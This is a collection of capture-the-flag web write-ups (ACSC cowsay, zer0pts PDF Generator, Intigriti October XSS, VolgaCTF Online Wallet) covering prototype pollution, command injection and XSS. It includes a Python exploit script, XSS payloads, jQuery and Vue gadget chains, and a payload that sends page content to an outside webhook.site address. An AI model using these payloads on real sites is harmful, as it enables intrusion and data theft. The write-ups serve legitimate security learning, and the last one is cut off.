It's obviously that there is a prototype pollution vulnerability:

app.use(async (ctx, next) => {
  ctx.state.user = ctx.cookies.get('username');
  await next();
});

router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});

We can send cookie=__proto__ so setting = settings["__proto__"] which is Object.prototype. Then, we can set key via ctx.params.name and value via ctx.request.body.value to achieve prototype pollution.

So, the question is, what can we do then?

The core function for this challenge is this line: child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });, so I guess it's the key.

I checked the nodejs docs, there is one line got my attention:

If the shell option is enabled, do not pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.

Let's try it:

const child_process = require('child_process');

const a = {}
a.__proto__.shell = true
const result = child_process.spawnSync('echo', ["test && pwd"], {
  timeout: 500
});
cowsay = result.stdout.toString();
console.log(cowsay)

// output:
// test
// /home/user

After polluted Object.prototype.shell, we can do command injection!

There is one more thing, we need to let shell=true not shell="true" so application/x-www-form-urlencoded doesn't work, we need to send application/json instead.

Exploit:

import requests

url = "http://rlefNLPChRZbKjuE:[email protected]:62802"

headers = {
  'Content-Type': 'application/json',
  'Cookie': 'username=__proto__'
}
payload = {
  "value": True
}
requests.request("POST", f"{url}/setting/shell", headers=headers, json=payload)
response = requests.request("GET", f"{url}/cowsay", params={"say": "1 && echo $FLAG"})
print(response.text)

output:

 ___
< 1 >
 ---
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
ACSC{(oo)<Moooooooo_B09DRWWCSX!}

Actually, we don't even need two commands, we can just send: "say": "$FLAG" because shell=true makes $ a metacharacters instead of a literal.

zer0pts CTF 2021 - PDF Generator(unintended)

PDF Generator

Description

I've created a pdf generator check it out

source code:

const express = require('express')
const PDFDocument = require('pdfkit');
const bodyParser = require("body-parser");
const fs = require('fs');
const uuid = require('uuid')
const FLAG = require("./flag")
var morgan = require('morgan')
var path = require('path')
var redis = require('redis')
var request = require('request');
var https = require('https');


const app = express()

var accessLogStream = fs.createWriteStream(path.join(__dirname, 'access.log'), { flags: 'a' })
app.use(morgan('combined', { stream: accessLogStream }))

app.use('/static', express.static('public'))
app.use(function(req, res, next) {
  res.header('Cross-Origin-Opener-Policy', 'unsafe-none');
  next();
});

app.use("/uploads/:file",function(req, res, next){
	if(req.headers['sec-fetch-dest']=='embed'){
		next();
	}
	else{
		res.send('sorry');
	}
});

var urlencodedParser = bodyParser.urlencoded({ extended: false })

app.get('/', (req, res) => {
  res.send(`<!Doctype html>
  <head>
  <title>title</title>
  <script src="/static/bundle.js"></script>
  </head>

  <div id="app">
    <h3>{{title}}</h3>
  </div>
    <p id="name"></p>
    <form action="/text" method="get" >
      <input id="text" type="input" name="text"/><br>
      <input type="submit"/>
    </form>
  <script>
  var params = parseQuery(location.search.slice(1));
  var app = new Vue({
      el: '#app',
      data: {
          title: 'Text to PDF Convertor'
      }
  });
  if(params.name && params.text ){
    document.getElementById("name").innerText = "Hi, "+ params.name;
    document.getElementById("text").value = params.text;
  }
  </script>
  `)
});

app.get("/uploads/:file", (req, res) => {
  var userPath = req.params.file;
  var sanitizedPath = userPath.replace(/[^a-f0-9-]/gi,'_')
  var filename = './uploads/' + sanitizedPath;
  if(fs.existsSync(filename)){
    var file = fs.createReadStream(filename);
    file.on('end', function(){
      fs.unlink(filename, function(err){
        if(err){
          console.log(err);
        }
      });
    })
    file.pipe(res);
  }else{
    res.send('oh its deleted');
  }
});

app.get('/text', urlencodedParser, (req, res) => {
  const ip = req.connection.remoteAddress
  console.log(ip);
  let pdfDoc = new PDFDocument;
  var filename = './uploads/' + uuid.v4()
  pdfDoc.pipe(fs.createWriteStream(filename));
  console.log(ip)
  if(ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"){
    pdfDoc.text(FLAG);
  }else{
    pdfDoc.text(req.query.text);
  }
  pdfDoc.end();
  res.send(`<!Doctype html>
  <head>
  <title>title</title>
  <script src="/static/bundle.js"></script>
  </head>
  <div id="app">
    <h3>{{title}}</h3>
  </div>
  <embed src="${filename}" type="application/pdf" style="width:100%;height:70vh;"></embed>
    <p id="name"></p>
    <p> One more conversion? </p>
    <form action="/text" method="get" >
      <input id="text" type="input" name="text"/><br>
      <input type="submit"/>
    </form>

    <a href="/report">report?</a>
  <html>

  <script>
  var params = parseQuery(location.search.slice(1));
  var app = new Vue({
      el: '#app',
      data: {
          title: 'Here is your pdf'
      }
  });
  if(params.name && params.text ){
    document.getElementById("name").innerText = "Hi, "+ params.name;
    document.getElementById("text").value = params.text;
  }
  </script>
  `);
});

Writeup

It's a simple service that we pass text to /text and it will returns a page with embed pdf file with the text you gave.

Let's check where is the flag first, it's inside /text route:

app.get('/text', urlencodedParser, (req, res) => {
  const ip = req.connection.remoteAddress
  console.log(ip);
  let pdfDoc = new PDFDocument;
  var filename = './uploads/' + uuid.v4()
  pdfDoc.pipe(fs.createWriteStream(filename));
  console.log(ip)
  if(ip === "127.0.0.1" || ip === "::1" || ip === "::ffff:127.0.0.1"){
    pdfDoc.text(FLAG);
  }else{
    pdfDoc.text(req.query.text);
  }
  pdfDoc.end();
  // ...
})

If the request is from 127.0.0.1, we can get the pdf file which has the flag. Combined this with the fact that there is a page to report the url, I guess we need to do something like:

  1. figure out how to XSS via query string
  2. use the XSS vulnerability above, fetch '/text' and get the content
  3. from the content we know the uuid for the flag pdf
  4. read this pdf file
  5. win!

It's hard to find the vulnerability because it looks quite simple:

<!Doctype html>
  <head>
  <title>title</title>
  <script src="/static/bundle.js"></script>
  </head>

  <div id="app">
    <h3>{{title}}</h3>
  </div>
    <p id="name"></p>
    <form action="/text" method="get" >
      <input id="text" type="input" name="text"/><br>
      <input type="submit"/>
    </form>
  <script>
  var params = parseQuery(location.search.slice(1));
  var app = new Vue({
      el: '#app',
      data: {
          title: 'Text to PDF Convertor'
      }
  });
  if(params.name && params.text ){
    document.getElementById("name").innerText = "Hi, "+ params.name;
    document.getElementById("text").value = params.text;
  }
  </script>

By checking bundle.js we can find the version of Vue and a suspicious snippet of code.

/*
utils 
*/
var digitTest = /^\d+$/,
	keyBreaker = /([^\[\]]+)|(\[\])/g,
	paramTest = /([^?#]*)(#.*)?$/,
	entityRegex = /%([^0-9a-f][0-9a-f]|[0-9a-f][^0-9a-f]|[^0-9a-f][^0-9a-f])/i,
	startChars = {"#": true,"?": true},
	prep = function (str) {
		if (startChars[str.charAt(0)] === true) {
			str = str.substr(1);
		}
		str = str.replace(/\+/g, ' ');

		try {
			return decodeURIComponent(str);
		}
		catch (e) {
			return decodeURIComponent(str.replace(entityRegex, function(match, hex) {
				return '%25' + hex;
			}));
		}
	};

function isArrayLikeName(name) {
	return digitTest.test(name) || name === '[]';
}
function idenity(value){ return value; }
function parseQuery(params, valueDeserializer) {
    valueDeserializer = valueDeserializer || idenity;
    var data = {}, pairs, lastPart;
    if (params && paramTest.test(params)) {
        pairs = params.split('&');
        pairs.forEach(function (pair) {
            var parts = pair.split('='),
                key = prep(parts.shift()),
                value = prep(parts.join('=')),
                current = data;
            if (key) {
                parts = key.match(keyBreaker);
                for (var j = 0, l = parts.length - 1; j < l; j++) {
                    var currentName = parts[j],
                        nextName = parts[j + 1],
                        currentIsArray = isArrayLikeName(currentName) && current instanceof Array;
                    if (!current[currentName]) {
                        if(currentIsArray) {
                            current.push( isArrayLikeName(nextName) ? [] : {} );
                        } else {
                            current[currentName] = isArrayLikeName(nextName) ? [] : {};}

                    }
                    if(currentIsArray) {
                        current = current[current.length - 1];
                    } else {
                        current = current[currentName];
                    }

                }
                lastPart = parts.pop();
                if ( isArrayLikeName(lastPart) ) {
                    current.push(valueDeserializer(value));
                } else {
			if(currentName !== "__proto__")
                    current[lastPart] = valueDeserializer(value);
                }
            }
        });
    }
    return data;
};
/*!
 * Vue.js v2.6.10
 * (c) 2014-2019 Evan You
 * Released under the MIT License.
 */

If I don't know how to start, I always check if there is any vulnerabilities in the package. So I checked Vue first: https://github.com/vuejs/vue/releases

There is a security fix for serialize-javascript so I follow this clue and see if I can find any working POC and details.

After 30 minutes of searching, the answer is no, I can't find useful any resources. Then I googled another keyword: Vue XSS, found this good resource: https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets but it seems nothing to do with this challenge.

Trying to find known vulnerabilities in Vue doesn't work, so I get back to the suspicious parseQuery function.

Only one line catch my eyes: if(currentName !== "__proto__"). It's a classic way to prevent prototype pollution, a classic wrong way. We can use ['constructor']['prototype'] to bypass it.

Because of this clue, I guess it might be prototype pollution lead to XSS.

Although I am a front-end engineer, I only familiar with React and have almost no knowledge about Vue, maybe it's a good opportunity to pick it up?

By googling vue vulnerabilities, we can find this official page: https://vuejs.org/v2/guide/security.html

The first rule is, never use non-trusted templates like this:

new Vue({
  el: '#app',
  template: `<div>` + userProvidedString + `</div>` // NEVER DO THIS
})

It gave me an idea so I tried this as POC:

var app = new Vue({
  el: '#app',
  template: '<img src=x onerror="alert(1)">',
  data: {
      title: 'Text to PDF Convertor'
  }
});

As I expected, our sweet old friend alert popup has shown. Then I tried if prototype pollution works:

var a = {}
a['__proto__']['template'] = '<img src=x onerror="alert(1)">'
var app = new Vue({
    el: '#app',
    data: {
        title: 'Text to PDF Convertor'
    }
});

Lucky! It works like a charm. My guess is correct, we can chain prototype pollution and Vue template to do XSS.

So now the problem is, how to do prototype pollution? I am too lazy to read the source code of parseQuery carefully, so I just copied the function and tried this on my local:

var payload = 'a[constructor][prototype][template]=' + encodeURIComponent('<img src=x onerror="alert(1)">')
var params = parseQuery(payload);
var app = new Vue({
  el: '#app',
  data: {
      title: 'Text to PDF Convertor'
  }
});

Fortunately, it works again.

It's almost there, just fetch /text and pass the content to my own server:

<embed src=1 onload="fetch(`/text`).then(a=>a.text()).then(a=>fetch('https://webhook.site/57250f91-2cec-4f0b-a11c-e5bd4bde108f?c='+btoa(a)))">

I used base64 encode because the content has many lines.

full url:

https://pdfgen.ctf.zer0pts.com:8443/?a[constructor][prototype][template]=%3Cembed%20src%3D1%20onload%3D%22fetch%28%60%2Ftext%60%29.then%28a%3D%3Ea.text%28%29%29.then%28a%3D%3Efetch%28%27https%3A%2F%2Fwebhook.site%2F57250f91-2cec-4f0b-a11c-e5bd4bde108f%3Fc%3D%27%2Bbtoa%28a%29%29%29%22%3E

After report the url above and received the result, we can get the uuid for the flag pdf file. Now go to the browser and replace the embed src with correct uuid:

First blood!

But it turns out it's unintended 😂

See official writeup for more details: https://blog.s1r1us.ninja/CTF/zer0ptsctf2021-challenges

Writeup: Intigriti’s October XSS challenge By @0xTib3rius

Challenge link: https://challenge-1021.intigriti.io/

Source code

Removed styles and bats svg, sorry bats!

<html lang="en">
  <head>
    <title>BOOOOOOO!</title>
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'none'; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-782f54dcdc1c6b97c986bf4772ae9b56'; style-src 'nonce-36cefb85686c240001ff8a5492ba001a'"
    />

  </head>
  <body id="body">
  <div class="wrapper"">
    <div class=" bat-overlay">

    </div>

      <script nonce="782f54dcdc1c6b97c986bf4772ae9b56">document.getElementById('lock').onclick = () => {document.getElementById('lock').classList.toggle('unlocked');}</script>
    <script nonce="782f54dcdc1c6b97c986bf4772ae9b56">
      window.addEventListener("DOMContentLoaded", function () {
        e = `)]}'` + new URL(location.href).searchParams.get("xss");
        c = document.getElementById("body").lastElementChild;
        if (c.id === "intigriti") {
          l = c.lastElementChild;
          i = l.innerHTML.trim();
          f = i.substr(i.length - 4);
          e = f + e;
        }
        let s = document.createElement("script");
        s.type = "text/javascript";
        s.appendChild(document.createTextNode(e));
        document.body.appendChild(s);
      });
    </script>
  </div>
    <!-- !!! -->
      <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
    <!-- !!! -->
    <div class="a">'"</div>
  </body>
  <div id="container">
      <span>I</span>
      <span id="extra-flicker">N</span>
      <span>T</span>
      <span>I</span>
      <div id="broken">
          <span id="y">G</span>
      </div>
      <span>R</span>
      <div id="broken">
          <span id="y">I</span>
      </div>
      <span>T</span>
      <span>I</span>
  </div>
</html>

Analysis

There are two important parts:

window.addEventListener("DOMContentLoaded", function () {
  e = `)]}'` + new URL(location.href).searchParams.get("xss");
  c = document.getElementById("body").lastElementChild;
  if (c.id === "intigriti") {
    l = c.lastElementChild;
    i = l.innerHTML.trim();
    f = i.substr(i.length - 4);
    e = f + e;
  }
  let s = document.createElement("script");
  s.type = "text/javascript";
  s.appendChild(document.createTextNode(e));
  document.body.appendChild(s);
});

and

<!-- !!! -->
  <div id="html" class="text"><h1 class="light">HALLOWEEN HAS TAKEN OVER!</h1>ARE YOU SCARED?<br/>ARE YOU STILL SANE?<br/>NOBODY CAN BREAK THIS!<br/>NOBODY CAN SAVE INTIGRITI<br/>I USE ?html= TO CONVEY THESE MESSAGES<br/>I'LL RELEASE INTIGRITI FROM MY WRATH... <br/>... AFTER YOU POP AN XSS<br/>ELSE, INTIGRITI IS MINE!<br/>SIGNED* 1337Witch69</div>
<!-- !!! -->
<div class="a">'"</div>

For first part, we need to let e to be a valid JS code. In order to achieve that, we need c.id === "intigriti" be true so we can add string before )]}'

It's obviously the string we want to prepend to e should have ', so e become something like 'xxx)]}' which is just a JS string, and then we use xss to append ;alert(document.domain) to trigger XSS.

So, the question is, how do we control f and put a single quote in it?

First, document.getElementById("body").lastElementChild; should have id intigriti, but last element is <div id="container"> for now, what should we do?

We can use ?html to inject arbitrary HTML code to have a un-closed div, like this:

?html=</h1></div><div id="intigriti"><div>

part of response(I modified the format a little bit and add comment to make it more readable):

<!-- !!! -->
<div id="html" class="text">
  <!-- we clode h1 and id=html div via </h1></div> -->
  <h1 class="light"></h1> 
</div>

<!-- we create a new div with id intigriti, which has no matching </div> -->
<div id="intigriti">
  <!-- we create another div to "consume" a </div> -->
  <div></div>
  <!-- !!! -->
  <div class="a">'"</div>
  </body>
  <div id="container">
    <span>I</span>
    <span id="extra-flicker">N</span>
    <span>T</span>
    <span>I</span>
    <div id="broken">
        <span id="y">G</span>
    </div>
    <span>R</span>
    <div id="broken">
        <span id="y">I</span>
    </div>
    <span>T</span>
    <span>I</span>
  </div>

DOM:

We successfully create a <div id="intigriti"> to wrap all the elements, make if (c.id === "intigriti") { to be true.

What's next? Let's take a look at the snippet below:

if (c.id === "intigriti") {
  l = c.lastElementChild;
  i = l.innerHTML.trim();
  f = i.substr(i.length - 4);
  e = f + e;
}

For now, c.lastElementChild is <div id="container">, so f is pan>.

Our mission is to control c.lastElementChild and let last 4 character of innerHTML to be 'xxx(x stands for any characters).

I stuck here for a while because my direction was wrong. I thought it's something related to mutation XSS, and we need to leverage some kind of browser quirk to change last element with "custom content".

After searching and studying mutation XSS for a while, I suddenly realized that the key is not content, is element itself.

For example, if last element is something like this:

<div>
  <a'bc>
      whatever
  </a'bc>
</div>

Then innerHTML is:

<a'bc>
  whatever
</a'bc>

Last 4 characters is 'bc>, exactly what we want! We don't need to insert an element after <div id=container> , we just create a custom tag with single quote and wrap it, that's all!

So, here is the payload:

https://challenge-1021.intigriti.io/challenge/challenge.php?
xss=;alert(document.domain)
&html=</h1></div><div%20id=intigriti><div><a%27bc><div>

DOM:

VolgaCTF 2021 Qualifier - Online Wallet (Part 2)

Online Wallet (Part 2)

Description

Steal document.cookie

螢幕快照 2021-03-28 下午10 51 54

const express    = require('express')
const bodyParser = require('body-parser')
const mysql      = require(`mysql-await`)
const session    = require('express-session')
const cookieParser = require("cookie-parser")

const pool = mysql.createPool({
  connectionLimit: 50,
  host     : 'localhost',
  user     : '***REDACTED***',
  password : '***REDACTED***',
  database : '***REDACTED***'
})

const app = express()
app.set('strict routing', true)
app.set('view engine', 'ejs')

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

app.use(bodyParser.json({verify: rawBody}))
app.use(cookieParser())

app.use(session({
  secret: '***REDACTED***',
  resave: false,
  saveUninitialized: false,
  proxy: true,
  cookie: {
    sameSite: 'none',
    secure: true
  }
}))

app.use(function (req, res, next) {
  if(req.cookies.lang && typeof(req.cookies.lang) == "string")
    req.session.lang = req.cookies.lang


  if(req.query.lang && typeof(req.query.lang) == "string") {
    res.cookie('lang', req.query.lang)
    req.session.lang = req.query.lang
  }

  if(!req.session.lang) 
    req.session.lang = "en"
  next()
});

app.get('/', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('index', {lang: req.session.lang})
})

app.get('/login', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('login', {lang: req.session.lang})
})

app.post('/login', async (req, res) => {
  if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
    return res.json({success: false})
  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ? AND `password` = ? LIMIT 1", [req.body.login, req.body.password])
    req.session.userid = result[0].id
    res.json({success: true})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/signup', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('signup', {lang: req.session.lang})
})

app.post('/signup', async (req, res) => {
  if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ?", [req.body.login])
    if (result.length != 0) 
      return res.json({success: false})
    result = await db.awaitQuery("INSERT INTO `users` (`login`, `password`) VALUES (?, ?)", [req.body.login, req.body.password])
    req.session.userid = result.insertId
    db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, 'Default Wallet', 100, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, result.insertId])
    return res.json({success: true})
  } catch {
    return res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/wallet', async (req, res) => {
  if(!req.session.userid)
    return res.redirect('/')
  const db = await pool.awaitGetConnection()
  wallets = await db.awaitQuery("SELECT * FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
  result = await db.awaitQuery("SELECT SUM(`balance`) AS `sum` FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
  db.release()
  res.render('wallet', {wallets, sum: result[0].sum, lang: req.session.lang})
})

app.post('/transfer', async (req, res) => {
  if(!req.session.userid || !req.body.from_wallet || !req.body.to_wallet || (req.body.from_wallet == req.body.to_wallet) || !req.body.amount 
    || (typeof(req.body.from_wallet) != "string") || (typeof(req.body.to_wallet) != "string") || (typeof(req.body.amount) != "number") || (req.body.amount <= 0))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    await db.awaitBeginTransaction()

    from_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.from_wallet, req.session.userid])
    to_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.to_wallet, req.session.userid])
    if (from_wallet.length == 0 || to_wallet.length == 0) 
      return res.json({success: false})
    from_balance = from_wallet[0].balance

    if(from_balance >= req.body.amount) {
      transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
      await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
      await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
      await db.awaitCommit()
      res.json({success: true})
    } else {
      await db.awaitRollback()
      res.json({success: false})
    }
  } catch {
    await db.awaitRollback()
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.post('/wallet', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, ?, 0, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, req.body.wallet, req.session.userid])
    res.json({success: true})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.post('/withdraw', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
    /* only developers can have a negative balance */
    if((result[0].balance > 150) || (result[0].balance < 0))
      res.json({success: true, money: FLAG})
    else
      res.json({success: false})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/logout', (req, res) => {
  req.session.destroy()
  res.redirect('/')
})

const PORT = 8080
const FLAG = "VolgaCTF{***REDACTED***}"

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`)
})

Writeup

There is a very suspicious part for setting lang via query string:

app.use(function (req, res, next) {
  if(req.cookies.lang && typeof(req.cookies.lang) == "string")
    req.session.lang = req.cookies.lang


  if(req.query.lang && typeof(req.query.lang) == "string") {
    res.cookie('lang', req.query.lang)
    req.session.lang = req.query.lang
  }

  if(!req.session.lang) 
    req.session.lang = "en"
  next()
});

After changing this value, I found that the lang is reflected in response.

https://wallet.volgactf-task.ru/wallet?lang=abc123

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_abc123.js"></script>

But <>"' is escaped so we can't do XSS here. Let's see what's inside s3 bucket: https://volgactf-wallet.s3-us-west-1.amazonaws.com

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>volgactf-wallet</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>bootstrap.min.css</Key>
<LastModified>2021-03-13T19:30:14.000Z</LastModified>
<ETag>"a15c2ac3234aa8f6064ef9c1f7383c37"</ETag>
<Size>155758</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>bootstrap.min.js</Key>
<LastModified>2021-03-11T11:59:57.000Z</LastModified>
<ETag>"e1d98d47689e00f8ecbc5d9f61bdb42e"</ETag>
<Size>58072</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>deparam.js</Key>
<LastModified>2021-03-11T12:17:35.000Z</LastModified>
<ETag>"51fa265e6f8b1e2327ef0b4b8a859933"</ETag>
<Size>1835</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag-icon.min.css</Key>
<LastModified>2021-03-13T19:30:31.000Z</LastModified>
<ETag>"1c7783936db99706c52edb52174b0d86"</ETag>
<Size>33961</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/ru.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"0cacf46e6f473fa88781120f370d6107"</ETag>
<Size>286</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/us.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"ae65659236a7e348402799477237e6fa"</ETag>
<Size>4461</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>jquery-3.3.1.slim.min.js</Key>
<LastModified>2021-03-11T12:00:03.000Z</LastModified>
<ETag>"99b0a83cf1b0b1e2cb16041520e87641"</ETag>
<Size>69917</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_en.js</Key>
<LastModified>2021-03-14T04:29:10.000Z</LastModified>
<ETag>"12753963071098b25222964ef55d34aa"</ETag>
<Size>834</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_ru.js</Key>
<LastModified>2021-03-14T04:29:30.000Z</LastModified>
<ETag>"8c76c84adcc90e93dfd978ec59675fd2"</ETag>
<Size>1142</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>popper.min.js</Key>
<LastModified>2021-03-11T12:00:26.000Z</LastModified>
<ETag>"56456db9d72a4b380ed3cb63095e6022"</ETag>
<Size>21004</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>style.css</Key>
<LastModified>2021-03-11T12:00:30.000Z</LastModified>
<ETag>"98fbfe87adff070366e195a45920e28f"</ETag>
<Size>123</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

There is a new file called deparam.js which never use in the web page so I guess we need to import this to do something.

content:

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( coerce ) {
          val = val && !isNaN(val)            ? +val
            : val === 'undefined'             ? undefined
            : coerce_types[val] !== undefined ? coerce_types[val]
            : val;
        }
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = coerce
          ? undefined
          : '';
      }
    });
    return obj;
  };

  queryObject = deparam(location.search.slice(1))

The source code already gave us a hint: /* Prototype Pollution fix */. So I thought the goal is to leverage prototype pollution and trigger XSS via jquery or tooltip.

After trying for few payloads, prototype pollution can be triggered via a[0]=2&a[__proto__][__proto__][abc]=1

POC:

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = '';
      }
    });
    return obj;
  };

  var poc = {}
  queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1')
  console.log(poc.abc) // 1

The next step is to see if there is any gadget we can use: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md

But from the source of the web page we know that only $('[data-toggle="tooltip"]').tooltip() has been called after content loaded, so I think it's the key and we need to use it. I tried for an hour to see if I can pollute the template or title options for tooltip but it doesn't work.

After trace the source code of bootstrap tooltip, when tooltip show, getTipElement will be triggered:

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://github.com/twbs/bootstrap/blob/8fa0d3010112dca5dd6dd501173415856001ba8b/js/src/tooltip.js#L422

template is html so we can use this jQuery gadget now:

<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
  Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script>
<script>
  $('<div x="x"></div>')
</script>

But how to show the tooltip? We can show the tooltip if it gets focused, and luckily there is an id for the tooltip element: <span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">

So combined with all the vulnerabilities above, the steps are:

  1. Use lang to import deparam.js
  2. prototype pollution to use jQuery gadget
  3. Use #depositButton to trigger tooltip and do XSS

We can create a simple html page and use iframe to load the website. After it's loaded we update the src to #depositButton to let tooltip get focus and trigger XSS.

<!doctype html>
